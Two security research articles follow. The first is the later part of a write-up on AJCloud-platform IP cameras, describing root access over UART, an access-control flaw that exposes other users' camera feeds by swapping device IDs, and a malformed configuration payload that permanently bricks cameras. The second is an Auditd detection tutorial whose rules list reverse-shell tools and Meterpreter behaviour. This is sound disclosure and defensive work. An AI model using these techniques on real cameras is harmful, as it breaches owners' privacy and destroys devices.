Reverse engineering tools allowed us to analyze the APK much more closely, though the complexity of the code obfuscation observed within the decompiled Java source code would require an extended length of time to fully piece together.

Our limited initial success would require us to explore further options that would provide us with more nuanced insight into the Q5 and how it operates.

Initial Hardware Hacking

To gain more insight into how the camera functioned, we decided to take a closer look at the camera firmware. While some firmware packages are available online, we wanted to take a look at the code directly and be able to monitor it and the resulting logs while the camera was running. To do this, we first took a look at the hardware diagram for the system on a chip (SoC) to see if there were any hardware avenues we might be able to leverage. The Wansview Q5 uses a Ingenic Xburst T31 SoC, its system block diagram is depicted below.

One avenue that stood out to us was the I2Cx3/UARTx2/SPIx2 SPI I/O block. If accessible, these I/O blocks often provide log output interfaces and/or shell interfaces, which can be used for debugging and interacting with the SoC. Appearing promising, we then performed a hardware teardown of the camera and found what appeared to be a UART serial interface to the SoC, shown below.

Next, we connected a logic analyzer to see what protocol was being used over these pins, and when decoded, the signal was indeed UART.

Now that we can access an exposed UART interface, we then looked to establish a shell connection to the SoC via UART. There are a number of different software mechanisms to do this, but for our purposes we used the Unix utility screen with the detected baud rate from the logic analyzer.

Upon opening and monitoring the boot sequence, we discovered that secure boot was not enabled despite being supported by the SoC. We then proceeded to modify the configuration to boot into single user mode providing a root shell for us to use to examine the firmware before the initialization processes were performed, shown below.

Once in single-user mode, we were able to pull the firmware files for static analysis using the binwalk utility, as shown below.

At this stage, the filesystem is generally read-only; however, we wanted to be able to make edits and instantiate only specific parts of the firmware initialization as needed, so we did some quick setups for additional persistence beyond single-user mode access. This can be done in a number of ways, but there are two primary methods one may wish to use. Generally speaking, in both approaches, one will want to make as few modifications to the existing configuration as possible. This is generally preferred when running dynamic analysis if possible, as we have had the least impact on the run time environment. One method we used for this approach is to make a tmpfs partition for read/write access in memory and mount it via fstab. In our case fstab was already considered in such a way that supported this, and as such made it a very minimal change. See the commands and results for this approach below.

Another method is to pull existing user credentials and attempt to use these to log in. This approach was also successful. The password hash for the root user can be found in the etc/passwd file and decrypted using a tool like John the Ripper. In our above examples, we were transferring data and files entirely over the serial connection. The camera also has an available SD card slot that can be mounted and used to transfer files. Going forward, we will be using the SD card or local network for moving files as the bandwidth makes for faster and easier transfer; however, serial can still be used for all communications for the hardware setup and debugging if preferred.

Now, we have root level access to the camera providing access to the firmware and dmesg logs while the software is running. Using both the firmware and logs as reference, we then looked to further examine the user interfaces for the camera to see if there was a good entry point we could use to gain further insight.

Wansview Cloud for Windows

After the mobile apps proved to be more secure than we had originally anticipated, we shifted our focus to an older version of the Wansview Cloud application built for Windows 7. This app, which is still available for download, would provide us with direct insight into the network communications involved with cameras connected to the AJCloud platform.

Thanks in large part to overindulgent debug logging on behalf of the developers, the Windows app spills out its secrets with reckless abandon seldom seen in commercial software. The first sign that things are amiss is that user login credentials are logged in cleartext.

Reverse engineering the main executable and DLLs (which are not packed, unlike the Wansview Cloud APK) was expedited thanks to the frequent use of verbose log messages containing unique strings. Identifying references to specific files and lines within its underlying codebase helped us to quickly map out core components of the application and establish the high level control flow.

Network communications, which were difficult for us to intercept on Android, are still transmitted over TLS, though they are conveniently logged to disk in cleartext. With full access to all HTTP POST request and response data (which is packed into JSON objects), there was no further need to pursue MitM attacks on the application side.

Within the POST responses, we found sensitive metadata including links to publicly accessible screen captures along with information about the camera’s location, network configuration, and its firmware version.

After documenting all POST requests and responses found within the log data, we began to experiment with manipulating different fields in each request in an attempt to access data not associated with our camera or account. We would eventually utilize a debugger to change the deviceId to that of a target camera not paired with the current logged in account. A camera deviceId doubles as its serial number and can be found printed on a sticker label located on either the back or bottom of a camera.

We found the most appropriate target for our attack in a code section where the deviceId is first transmitted in a POST request to https://sdc-us.ajcloud.net/api/v1/dev-config:

Our plan was to set a breakpoint at the instruction highlighted in the screenshot above, swap out the deviceId within memory, and then allow the app to resume execution.

Amazingly enough, this naive approach not only worked to retrieve sensitive data stored in the AJCloud platform associated with the target camera and the account it is tied to, but it also connected us to the camera itself. This allowed us to access its video and audio streams and remotely control it through the app as if it were our own camera.

Through exploiting this vulnerability and testing against multiple models from various vendors, we determined that all devices connected to the AJCloud platform could be remotely accessed and controlled in this manner. We wrote a PoC exploit script to automate this process and effectively demonstrate the ease with which this access control vulnerability within AJCloud’s infrastructure can be trivially exploited.

Exploring the network communications

Though we were able to build and reliably trigger an exploit against a critical vulnerability in the AJCloud platform, we would need to dig further in order to gain a better understanding of the inner workings of the apps, the camera firmware, and the cloud infrastructure.

As we explored beyond the POST requests and responses observed throughout the sign-in process, we noticed a plethora of UDP requests and responses from a wide assortment of IPs. Little in the way of discernible plaintext data could be found throughout these communications, and the target UDP port numbers for the outbound requests seemed to vary. Further investigation would later reveal that this UDP activity was indicative of PPPP, an IoT peer-to-peer (P2P) protocol that was analyzed and demonstrated extensively by Paul Marrapesse during his presentation at DEF CON 28. We would later conclude that the way in which we exploited the vulnerability we discovered was facilitated through modified P2P requests, which led us to further explore the critical role that P2P plays in the AJCloud platform.

The main purpose of P2P is to facilitate communication between applications and IoT devices, regardless of the network configurations involved. P2P primarily utilizes an approach based around UDP hole punching to create temporary communication pathways that allow requests to reach their target either directly or through a relay server located in a more accessible network environment. The core set of P2P commands integrated into AJCloud’s apps provides access to video and audio streams as well as the microphone and pan/tilt/zoom.

Advanced Hardware Hacking

With our additional understanding of the P2P communications, it was now time to examine the camera itself more closely during these P2P conversations, including running the camera software in a debugger. To start, we set up the camera with a live logging output via the UART serial connection that we established earlier, shown below.

This provided a live look at the log messages from the applications as well as any additional logging sources we needed. From this information, we identified the primary binary that is used to establish communication between the camera and the cloud as well as providing the interfaces to access the camera via P2P.

This binary is locally called initApp, and it runs once the camera has been fully initialized and the boot sequence is completed. Given this, we set out to run this binary with a debugger to better evaluate the local functions. In attempting to do so, we encountered a kernel watchdog that detected when initApp was not running and would forcibly restart the camera if it detected a problem. This watchdog checks for writes to /dev/watchdog and, if these writes cease, will trigger a timer that will reboot the camera if the writes do not resume. This makes debugging more difficult as when one pauses the execution of initApp, the writes to the watchdog pause as well. An example of this stopping behavior is shown below:

To avoid this, one could simply try writing to the watchdog whenever initApp stops to prevent the reboot. However, another cleaner option is to make use of the magic close feature of the Linux Kernel Watchdog Driver API. In short, if one writes a specific magic character ‘V’ /dev/watchdog the watchdog will be disabled. There are other methods of defeating the watchdog as well, but this was the one we chose for our research as it makes it easy to enable and disable the watchdog at will.

With the watchdog disabled, setting up to debug initApp is fairly straightforward. We wanted to run the code directly on the camera, if possible, instead of using an emulator. The architecture of the camera is Little Endian MIPS (MIPSEL). We were fortunate that pre-built GDB and GDBServer binaries were able to function without modification; however, we did not know this initially, so we also set up a toolchain to compile GDBServer specifically for the camera. One technique that might be useful if you find yourself in a similar situation is to use a compilation tool like gcc to compile some source code to your suspected target architecture and see if it runs; see the example below.

In our case, since our SoC was known to us, we were fairly certain of the target architecture; however, in certain situations, this may not be so simple to discover, and working from hello world binaries can be useful to establish an initial understanding. Once we were able to compile binaries, we then compiled GDBServer for our camera and then used it to attach and launch initApp. Then, we connected to it from another computer on the same local network as the camera. An example of this is shown below:

As a note for the above example, we are using the -x parameter to pass in some commands for convenience, but they are not necessary for debugging. For more information on any of the files or commands, please see our elastic/camera-hacks GitHub repo. In order for initApp to load properly, we also needed to ensure that the libraries used by the binary were accessible via the PATH and LD_LIBARY_PATH environment variables. With this setup, we were then able to debug the binary as we needed. Since we also used the magic character method of defeating the watchdog earlier we also will need to make sure to control instances where the watchdog can be re-enabled. In most cases, we do not want this to happen. As such, we overwrote the watchdog calls in initApp so that the watchdog would not be re-enabled while we were debugging, as shown below.

The following video shows the full setup process from boot to running GDBServer. In the video, we also start a new initApp process, and as such, we need to kill both the original process and the daemon.sh shell script that will spawn a new initApp process if it is killed.

Building a P2P Client

In order to further explore the full extent of capabilities which P2P provides to AJCloud IoT devices and how they can be abused by attackers, we set out to build our own standalone client. This approach would remove the overhead of manipulating the Wansview Cloud Windows app while allowing us to more rapidly connect to cameras and test out commands we derive from reverse engineering the firmware.

From the configuration data we obtained earlier from the Windows app logs, we knew that a client issues requests to up to three different servers as part of the connection process. These servers provide instructions to clients as to where traffic should be routed in order to access a given camera. If you would like to discover more of these servers out in the open, you can scan the Internet using the following four-byte UDP payload on port 60722. Paul Marrapese used this technique to great effect as part of his research.

In order to properly establish a P2P connection, a client must first send a simple hello message (MSG_HELLO), which needs to be ACK’d (MSG_HELLO_ACK) by a peer-to-peer server. The client then queries the server (MSG_P2P_REQ) for a particular deviceId. If the server is aware of that device, then it will respond (MSG_PUNCH_TO) to the client with a target IP address and UDP port number pair. The client will then attempt to connect (MSG_PUNCH_PKT) to the IP and port pair along with other ports within a predetermined range as part of a UDP hole punching routine. If successful, the target will send a message (MSG_PUNCH_PKT) back to the client along with a final message (MSG_P2P_RDY) to confirm that the connection has been established.

After connecting to a camera, we are primarily interested in sending different MSG_DRW packets and observing their behavior. These packets contain commands which will allow us to physically manipulate the camera, view and listen to its video and audio streams, access data stored within it, or alter its configuration. The most straightforward command we started with involved panning the camera counter clockwise, which we could easily identify as a single message transmission.

Debug log messages on the camera allowed us to easily locate where this command was processed within the firmware.

Locating the source of this particular message placed us in the main routine which handles processing MSG_DRW messages, which provided us with critical insight into how this command is invoked and what other commands are supported by the firmware.

Extensive reverse engineering and testing allowed us to build a PoC P2P client which allows users to connect to any camera on the AJCloud platform, provided they have access to its deviceId. Basic commands supported by the client include camera panning and tilting, rebooting, resetting, playing audio clips, and even crashing the firmware.

The most dangerous capability we were able to implement was through a command which modifies a core device configuration file: /var/syscfg/config_default/app_ajy_sn.ini. On our test camera, the file’s contents were originally as follows:

[common]
product_name=Q5
model=NAV
vendor=WVC
serialnum=WVCD7HUJWJNXEKXF
macaddress=
wifimacaddress=

While this appears to contain basic device metadata, this file is the only means through which the camera knows how to identify itself. Upon startup, the camera reads in the contents of this file and then attempts to connect to the AJCloud platform through a series of curl requests to various API endpoints. These curl requests pass along the product name, camera model, vendor code, and serial number values extracted from the INI file as query string arguments. We used our client to deliver a message which overwrites the contents like so:

[common]
product_name=
model=OPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01
vendor=YZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01
serialnum=defghijklmnopqrstuvwxyz{|}~HH01
macaddress=
wifimacaddress=

After the camera is reset, all curl requests issued to AJCloud platform API endpoints as part of the startup routine will fail due to the malformed data contained within the INI file. These requests will continue to periodically be sent, but they will never succeed and the camera will remain inactive and inaccessible through any apps. Unfortunately, there is no simple way to restore the previous file contents through resetting the camera, updating its firmware, or restoring the factory settings. File modifications carried out through this command will effectively brick a camera and render it useless.

Taking a closer look at the decompiled function (syscfg_setAjySnParams) which overwrites the values stored in app_ajy_sn.ini, we can see that input parameters, extracted from the MSG_DRW command are used to pass along string data which will be used to overwrite the model, vendor, and serial number fields in the file. memset is used to overwrite three global variables, intended to store these input strings, with null bytes. strcpy is then used to transfer the input parameters into these globals. In each instance, this will result in bytes being copied directly from the MSG_DRW command buffer until it encounters a null character.

Because no validation is enforced on the length of these input parameters extracted from the command, it is trivial to craft a message of sufficient length which will trigger a buffer overflow. While we did not leverage this vulnerability as part of our attack to brick the camera, this appears to be an instance where an exploit could be developed which would allow for an attacker to achieve remote code execution on the camera.

Impact

We have confirmed that a broad range of devices across several vendors affiliated with AJCloud and several different firmware versions are affected by these vulnerabilities and flaws. Overall, we successfully demonstrated our attacks against fifteen different camera products from Wansview, Galayou, Cinnado, and Faleemi. Based on our findings, it is safe to assume that all devices which operate AJCloud firmware and connect to the AJCloud platform are affected.

All attempts to contact both AJCloud and Wansview in order to disclose these vulnerabilities and flaws were unsuccessful.

What did the vendors do right?

Despite the vulnerabilities we discovered and discussed previously, there are a number of the security controls that AJCloud and the camera vendors implemented well. For such a low cost device, many best practices were implemented. First, the network communications are secured well using certificate based WebSocket authentication. In addition to adding encryption, putting many of the API endpoints behind the certificate auth makes man in the middle attacks significantly more challenging. Furthermore, the APKs for the mobile apps were signed and obfuscated making manipulating these apps very time consuming.

Additionally, the vendors also made some sound decisions with the camera hardware and firmware. The local OS for the camera is effectively limited, focusing on just the needed functionality for their product. The file system is configured to be read only, outside of logging, and the kernel watchdog is an effective method of ensuring uptime and reducing risk of being stuck in a failed state. The Ingenic Xburst T31 SoC, provides a capable platform with a wide range of support including secure boot, a Power-On Reset (POR) watchdog, and a separate RISC-V processor capable of running some rudimentary machine learning on the camera input.

What did the vendors do wrong?

Unfortunately, there were a number of missed opportunities with these available features. Potentially the most egregious is the unauthenticated cloud access. Given the API access controls established for many of the endpoints, having the camera user access endpoints available via serial number without authentication is a huge and avoidable misstep. The P2P protocol is also vulnerable as we showcased, but compared to the API access which should be immediately fixable, this may take some more time to fix the protocol. It is a very dangerous vulnerability, but it is a little bit more understandable as it requires considerably more time investment to both discover and fix.

From the application side, the primary issue is with the Windows app which has extensive debug logging which should have been removed before releasing publicly. As for the hardware, it can be easily manipulated with physical access (exposed reset button, etc.). This is not so much an issue given the target consumer audience. It is expected to err on the side of usability rather than security, especially given physical access to the device. On a similar note, secure boot should be enabled, especially given that the T31 SoC supports it. While not strictly necessary, this would make it much harder to debug the source code and firmware of the device directly, making it more difficult to discover vulnerabilities that may be present. Ideally it would be implemented in such a way that the bootloader could still load an unsigned OS to allow for easier tinkering and development, but would prevent the signed OS from loading until the boot loader configuration is restored. However, one significant flaw in the current firmware is the dependence on the original serial number that is not stored in a read only mount point while the system is running. Manipulating the serial number should not permanently brick the device. It should either have a mechanism for requesting a new serial number (or restoring its original serial number) should its serial number be overwritten, or the serial number should be immutable.

Mitigations

Certain steps can be taken in order to reduce the attack surface and limit potential adverse effects in the event of an attack, though they vary in their effectiveness.

Segmenting Wi-Fi cameras and other IoT devices off from the rest of your network is a highly recommended countermeasure which will prevent attackers from pivoting laterally to more critical systems. However, this approach does not prevent an attacker from obtaining sensitive user data through exploiting the access control vulnerability we discovered in the AJCloud platform. Also, considering the ease in which we were able to demonstrate how cameras could be accessed and manipulated remotely via P2P, any device connected to the AJCloud platform is still at significant risk of compromise regardless of its local network configuration.

Restricting all network communications to and from these cameras would not be feasible due to how essential connectivity to the AJCloud platform is to their operation. As previously mentioned, the devices will simply not operate if they are unable to connect to various API endpoints upon startup.

A viable approach could be restricting communications beyond the initial startup routine. However, this would prevent remote access and control via mobile and desktop apps, which would defeat the entire purpose of these cameras in the first place. For further research in this area, please refer to “Blocking Without Breaking: Identification and Mitigation of Non-Essential IoT Traffic”, which explored this approach more in-depth across a myriad of IoT devices and vendors.

The best approach to securing any Wi-Fi camera, regardless of vendor, while maintaining core functionality would be to flash it with alternative open source firmware such as OpenIPC or thingino. Switching to open source firmware avoids the headaches associated with forced connectivity to vendor cloud platforms by providing users with fine grain control of device configuration and remote network accessibility. Open access to the firmware source helps to ensure that critical flaws and vulnerabilities are quickly identified and patched by diligent project contributors.

Key Takeaways

Our research revealed several critical vulnerabilities that span all aspects of cameras operating AJCloud firmware which are connected to their platform. Significant flaws in access control management on their platform and the PPPP peer protocol provides an expansive attack surface which affects millions of active devices across the world. Exploiting these flaws and vulnerabilities leads to the exposure of sensitive user data and provides attackers with full remote control of any camera connected to the AJCloud platform. Furthermore, a built-in P2P command, which intentionally provides arbitrary write access to a key configuration file, can be leveraged to either permanently disable cameras or facilitate remote code execution through triggering a buffer overflow.

Please visit our GitHub repository for custom tools and scripts we have built along with data and notes we have captured which we felt would provide the most benefit to the security research community.

Linux detection engineering with Auditd

Ruben Groenewoud — Tue, 09 Apr 2024 00:00:00 GMT

Introduction

Unix and Linux systems operate behind the scenes, quietly underpinning a significant portion of our technological infrastructure. With the increasing complexity of threats targeting these systems, ensuring their security has become more important than ever.

One of the foundational tools in the arsenal of security detection engineers working within Unix and Linux systems is Auditd. This powerful utility is designed for monitoring and recording system events, providing a detailed audit trail of who did what and when. It acts as a watchdog, patrolling and recording detailed information about system calls, file accesses, and system changes, which are crucial for forensic analysis and real-time monitoring.

The objective of this article is multifaceted:

We aim to provide additional information regarding Auditd, showcasing its capabilities and the immense power it holds in security detection engineering.
We will guide you through setting up Auditd on your own systems, tailoring it to meet your specific monitoring needs. By understanding how to create and modify Auditd rules, you will learn how to capture the exact behavior you're interested in monitoring and interpret the resulting logs to create your own detection rules.
We'll introduce Auditd Manager, an integration tool that enhances Auditd’s utility by simplifying the management of Auditd across systems.

By the end of this post, you'll not only learn how to employ Auditd Manager to incorporate some of our pre-built detection rules into your security strategy, but also gain a comprehensive understanding of Auditd and how to leverage it to build your own detection rules as well.

Introduction to Auditd

Auditd is a Linux tool designed for monitoring and recording system events to provide a comprehensive audit trail of user activities, system changes, and security access. Auditd operates by hooking into the Linux kernel, capturing detailed information about system calls and other system events as they happen. These events are then logged to a file, providing a timestamped record. Administrators can define rules that specify which events to log, offering the flexibility to focus on specific areas of interest or concern. The logged data can be used for a variety of purposes, from compliance auditing to detailed forensic analysis.

Auditd setup

To get started with Auditd, Elastic provides several options:

In this article, we will focus on the latter two, leveraging the Elastic Agent to easily ingest logs into Elasticsearch. If you are new to Elasticsearch you can easily create an Elastic Cloud Account with a 30-day trial license, or for local testing, you can download The Elastic Container Project and set the license value to trial in the .env file.

Feel free to follow along using Auditbeat or Filebeat - for setup instructions, consult the documentation linked above. As the Auditd Logs integration works by parsing the audit.log file, you are required to install Auditd on the Linux host from which you wish to gather the logs. Depending on the Linux distribution and the package manager of choice, the Auditd package should be installed, and the Auditd service should be started and enabled. For Debian-based distributions:

sudo apt update
sudo apt install auditd
sudo systemctl start auditd
sudo systemctl enable auditd

The /var/log/audit/audit.log file should now be populated with Auditd logs. Next, you need to install the Auditd Logs integration, create an agent policy in Fleet with the newly installed integration, and apply the integration to a compatible Elastic Agent with Auditd installed.

The default settings should suffice for most scenarios. Next, you need to add the integration to an agent policy, and add the agent policy to the Elastic Agents from which you want to harvest data. The Elastic Agent ships the logs to the logs-auditd.log-[namespace] datastream. You can now create a new data view to only match our incoming Auditd logs.

You can now explore the ingested Auditd logs. But as you will quickly notice, Auditd does not log much by default – you must leverage Auditd rules to unlock its full potential.

Auditd rules

Auditd rules are directives used to specify which system activities to monitor and log, allowing for granular control over the security auditing process. These rules are typically configured in the /etc/audit/audit.rules file. Auditd rules come in 3 varieties: control, file, and syscall. More information can be found here.

Control type rules

The control type is, in most cases, used to configure Auditd rather than specifying the events to monitor. By default, the audit rules file contains the following control type settings:

-D
-b 8192
-f 1
--backlog_wait_time 60000

-D: delete all rules on launch (Auditd parses the rules in the file from top to bottom. Removing all rules on launch ensures a clean configuration).
-b 8192: set the maximum amount of existing Audit buffers in the kernel.
-f 1: set the failure mode of Auditd to log.
--backlog_wait_time 60000: specify the amount of time (in ms) that the audit system will wait if the audit backlog limit is reached before dropping audit records.

File System Rules

Building upon these default control type settings, you can create file system rules, sometimes referred to as watches. These rules allow us to monitor files of interest for read, write, change and execute actions. A typical file system rule would look as follow:

-w [path-to-file] -p [permissions] -k [keyname]

-w: the path to the file or directory to monitor.
-p: any of the read (r), write (w), execute (e) or change (a) permissions.
-k: the name of a key identifier that may be used to more easily search through the auditd logs.

In case you want to monitor the /etc/shadow file for file reads, writes, and changes, and save any such events with a key named shadow_access, you could setup the following rule:

-w /etc/shadow -p rwa -k shadow_access

System call rules

Auditd’s true power is revealed when working with its system call rules. Auditd system call rules are configurations that specify which system calls (syscalls) to monitor and log, allowing for detailed tracking of system activity and interactions with the operating system kernel. As each syscall is intercepted and matched to the rule, it is important to leverage this functionality with care by only capturing the syscalls of interest and, when possible, capturing multiple of these syscalls in one rule. A typical syscall rule would look like this:

-a [action],[filter] -S [syscall] -F [field=value] -k [keyname]

You may leverage the -a flag followed by action,filter to choose when an event is logged, where action can be always (always create an event) or never (never create an event).

filter can be any of:

task: logs task creation events.
entry: logs syscall entry points.
exit: logs syscall exits/results.
user: logs user-space events.
exclude: excludes events from logging.

Next, you have:

-S: the syscall that you are interested in (name or syscall number).
-F: one or more filters to choose what to match against.
-k: the key identifier.

With the information provided above, you should be able to understand the basics of most Auditd rules. For more information and examples of what values can be added to these rules, feel free to read more here.

Getting started building and testing a comprehensive and dedicated Auditd rule file for your organization might seem daunting. Luckily, there are some good public rule file examples available on GitHub. A personal favorite template to build upon is Neo23x0’s, which is a good balance between visibility and performance.

One downside of using the Auditd Logs integration is that you manually need to install Auditd on each host that you want to monitor, and apply the rules file manually to each running Auditd instance. This means that every time you want to update the rules file, you will have to update it on all of the hosts. Nowadays, many organizations leverage management tools that can make this process less time consuming. However, Elastic also provides another way of ingesting Auditd logs through the Auditd Manager integration which alleviates the management burden.

Introduction to Auditd Manager and setup

The Auditd Manager integration receives audit events from the Linux Audit Framework that is a part of the Linux kernel. This integration establishes a subscription to the kernel to receive the events as they occur. The Linux audit framework can send multiple messages for a single auditable event. For example, a rename() syscall causes the kernel to send eight separate messages. Each message describes a different aspect of the activity that is occurring (the syscall itself, file paths, current working directory, process title). This integration will combine all of the data from each of the messages into a single event. More information regarding Auditd Manager can be found here.

Additionally, Auditd Manager solves the management burden as it allows centralized management through Fleet. An update to the integration will automatically be applied to all Elastic agents that are part of the changed agent policy.

Setting up the Auditd Manager integration is simple. You need to make sure that Auditd is no longer running on our hosts, by stopping and disabling the service.

sudo systemctl stop auditd
sudo systemctl disable auditd

You can now remove the Auditd Logs integration from our agent policy, and instead install/add the Auditd Manager integration.

There are several options available for configuring the integration. Auditd Manager provides us with the option to set the audit config as immutable (similar to setting the -e 2 control-type rule in the Auditd configuration), providing additional security in which unauthorized users cannot change the audit system, making it more difficult to hide malicious activity.

You can leverage the Resolve IDs functionality to enable the resolution of UIDs and GIDs to their associated names.

For our Auditd rule management, you can either supply the rules in the Audit rules section, or leverage a rule file and specify the file path to read this file from. The rule format is similar to the rule format for the Auditd Logs integration. However, instead of supplying control flags in our rule file, you can set these options in the integration settings instead.

Auditd Manager automatically purges all existing rules prior to adding any new rules supplied in the configuration, making it unnecessary to specify the -D flag in the rule file. Additionally, you can set our failure mode to silent in the settings, and therefore do not need to supply the -f flag either.

You can set the backlog limit as well, which would be similar to setting the -b flag.

There is also an option for setting the backpressure strategy, equivalent to the --backlog_wait_time setting.

Finally, check the option to preserve the original event, as this will allow you to analyze the event easier in the future.

You can now save the integration, and apply it to the agent policy for the hosts from which you would like to receive Auditd logs.

Auditd rule file troubleshooting

The rule file provided by Neo23x0 does not work for Auditd Manager by default. To get it to work, you will have to make some minor adjustments such as removing the control type flags, a UID to user conversion for a user that is not present on default systems, or a redundant rule entry. The changes that have to be made will ultimately be unique to your environment.

You have two ways of identifying the errors that will be generated when copy-pasting an incompatible file into the Auditd Manager integration. You can navigate to the agent that received the policy, and look at the integration input error. You can analyze the errors one by one, and change or remove the conflicting line.

You can also use the Discover tab, select our Auditd Manger data view, and filter for events where the auditd.warnings field exists, and go through the warnings one-by-one.

For example, you can see that the error states “unknown rule type” , which is related to Auditd not supporting control rules. The “failed to convert user ‘x’ to a numeric ID”, is related to the user not existing on the system. And finally, “rule ‘x’ is a duplicate of ‘x’”, is related to duplicate rules. Now that you removed the conflicting entries, and our agent status is healthy, you can start analyzing some Auditd data!

Analyzing Auditd Manager events

Now that you have Auditd Manager data available in our Elasticsearch cluster, just like you did before, you can create a dataview for the logs-auditd_manager.auditd* index to specifically filter this data. Our implemented rule file contains the following entry:

-w /etc/sudoers -p rw -k priv_esc

This captures read and write actions for the /etc/sudoers file, and writes these events to a log with the priv_esc key. Let’s execute the cat /etc/sudoers command, and analyze the event. Let us first look at some of the fields containing general information.

You can see that the /etc/sudoers file was accessed by the /usr/bin/cat binary through the openat() syscall. As the file owner and group are root, and the user requesting access to this file is not UID 0 (root), the openat() syscall failed, which is represented in the log. Finally, you can see the tag that was linked to this specific activity.

Digging a bit deeper, you can identify additional information about the event.

You can see the process command line that was executed, and which process ID and process parent ID initiated the activity. Additionally, you can see from what architecture the event originated and through which tty (terminal connected to standard input) the command was executed.

To understand the a0-3 values, you need to dig deeper into Unix syscalls. You should at this point be aware of what a syscall is, but to be complete, a Unix syscall (system call) is a fundamental interface that allows a program to request a service from the operating system's kernel, such as file operations, process control, or network communications.

Let’s take a look at the openat() syscall. Consulting the open(2) man page (source), you see the following information.

openat() is an evolved version of the open() syscall, allowing for file access relative to a directory file descriptor (dirfd). This syscall enables a program to open a file or directory — a crucial operation for many system tasks. You can see that the syscall is part of the standard C library, and is available in fcntl.h header through the #include include statement.

Consulting the manual, you can see the openat() syscall syntax is as follows:

int openat(int dirfd, const char *pathname, int flags, /* mode_t mode */);

dirfd specifies the directory file descriptor.
*pathname is a pointer to the name of the file/directory to be opened.
flags determine the operation mode (e.g., read, write, create, etc.).

Returning to our original event, you are now ready to understand the auditd.data.a0-a3 fields. The a0 to a3 values in an auditd log represent the arguments passed to a syscall. These arguments are crucial for understanding the context and specifics of the syscall's execution. Let's break down how these values relate to openat() and what they tell us about the attempted operation based on our earlier exploration.

auditd.data.a0 (dirfd): The a0 value, ffffff9c, indicates a special directive, AT_FDCWD, suggesting the operation is relative to the current working directory.
auditd.data.a1 (pathname): The a1 value, 7ffd0f81871d, represents a hexadecimal memory address pointing to the pathname string of the target file or directory. In this case, it refers to an attempt to access the /etc/sudoers file.
auditd.data.a2 (flags): Reflected by the a2 value of 0, the flags argument specifies the mode in which the file is to be accessed. With 0 indicating no special flags were used, it implies a default operation – most likely read-only access.
auditd.data.a3 (mode): The a3 value, also 0, becomes relevant in contexts where the file is being created, dictating the permissions set on the new file.

Based on the analysis above, you now have a pretty good understanding of how to interpret Auditd Manager events.

A different way of quickly getting an idea of what an Auditd Manager event means is by using Elastic’s built-in AI Assistant. Let’s execute the whoami command, and take a look at the auditd.messages field within the event.

You can ask the Elastic AI Assistant to do the heavy lifting and analyze the event, after which you only have to consult the syscall manual to make sure that it was correct. Let’s first create a new system prompt, focused on analyzing Auditd logs, somewhat similar to this:

You can now leverage the newly created system prompt, and paste your Auditd message in there without any additional formatting, and receive the following response:

Generative AI tools are very useful for receiving a quick explanation of an event. But generative AI can make mistakes, so you should always be cognizant of leveraging AI tools for this type of analysis, and double check what output it generates. Especially when leveraging the output of these tools for detection rule development, as one minor mistake could lead to faulty logic.

Auditd Manager detection rule examples

After reading the previous section, you should now have enough knowledge available to get started analyzing Auditd Manager logs. The current Elastic detection rules rule set mostly leverages the Elastic Defend integration, but the number of rules that leverage Auditd is increasing significantly. This section will dive into several detection rules that leverage Auditd, explain the why and try to teach some underused techniques for writing detection rule queries.

Potential reverse shell via UDP

The Potential Reverse Shell via UDP rule aims to identify UDP-based reverse shells. As Elastic Defend does not currently capture UDP traffic, you can leverage Auditd to close this visibility gap. The rule leverages the following logic:

sample by host.id, process.pid, process.parent.pid
  [process where host.os.type == "linux" and event.type == "start" and event.action == "executed" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    )]
  [process where host.os.type == "linux" and auditd.data.syscall == "socket" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and auditd.data.a1 == "2"]
  [network where host.os.type == "linux" and event.type == "start" and event.action == "connected-to" and
   process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and network.direction == "egress" and destination.ip != null and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")]

The rule leverages the sample functionality, which describes and matches a chronologically unordered series of events. This will ensure the sequence also triggers if the events occur in the same millisecond. Additionally, we leverage a whitelisting approach to specify suspicious binaries that are capable of spawning a reverse connection, allowing for a minimized false-positive rate.

We ensure the capturing of UDP connections by leveraging the Auditd data related to the socket() syscall.

We see that the a0 value represents the domain, a1 represents the type and a2 represents the protocol used. Our rule leverages the auditd.data.a1 == "2" syntax, which translates to the SOCK_DGRAM type, which is UDP.

Finally, we ensure that we capture only egress network connections from the host and ensure the exclusion of IPv4 and IPv6 loopback addresses, IPv4 link-local and multicast addresses, and sequence the query by process.pid and process.parent.pid to make sure the events originate from the same (parent) process.

If we want to hunt for suspicious processes opening UDP sockets, we can query all socket() syscalls with auditd.data.a1 == "2", count the number of distinct process occurrences, and sort them in an ascending order to find anomalies. To do so, we can leverage this ES|QL query:

FROM logs-*, auditbeat-*
| EVAL protocol = CASE(
    auditd.data.a1 == "1", "TCP",
    auditd.data.a1 == "2", "UDP"
)
| WHERE host.os.type == "linux" and auditd.data.syscall == "socket" and protocol == "UDP"
| STATS process_count = COUNT(process.name), host_count = COUNT(host.name) by process.name, protocol
| SORT process_count asc
| LIMIT 100

Looking at the results, we can see quite a few interesting processes pop up, which might be a good starting point for threat hunting purposes.

Potential Meterpreter reverse shell

Another interesting type of reverse connections that we leveraged Auditd for is the detection of the Meterpreter shell, which is a popular reverse shell used within the Metasploit-Framework. The Potential Meterpreter Reverse Shell rule leverages Meterpreter’s default host enumeration behavior to detect its presence.

sample by host.id, process.pid, user.id
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/machine-id"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/passwd"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/route"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/ipv6_route"]
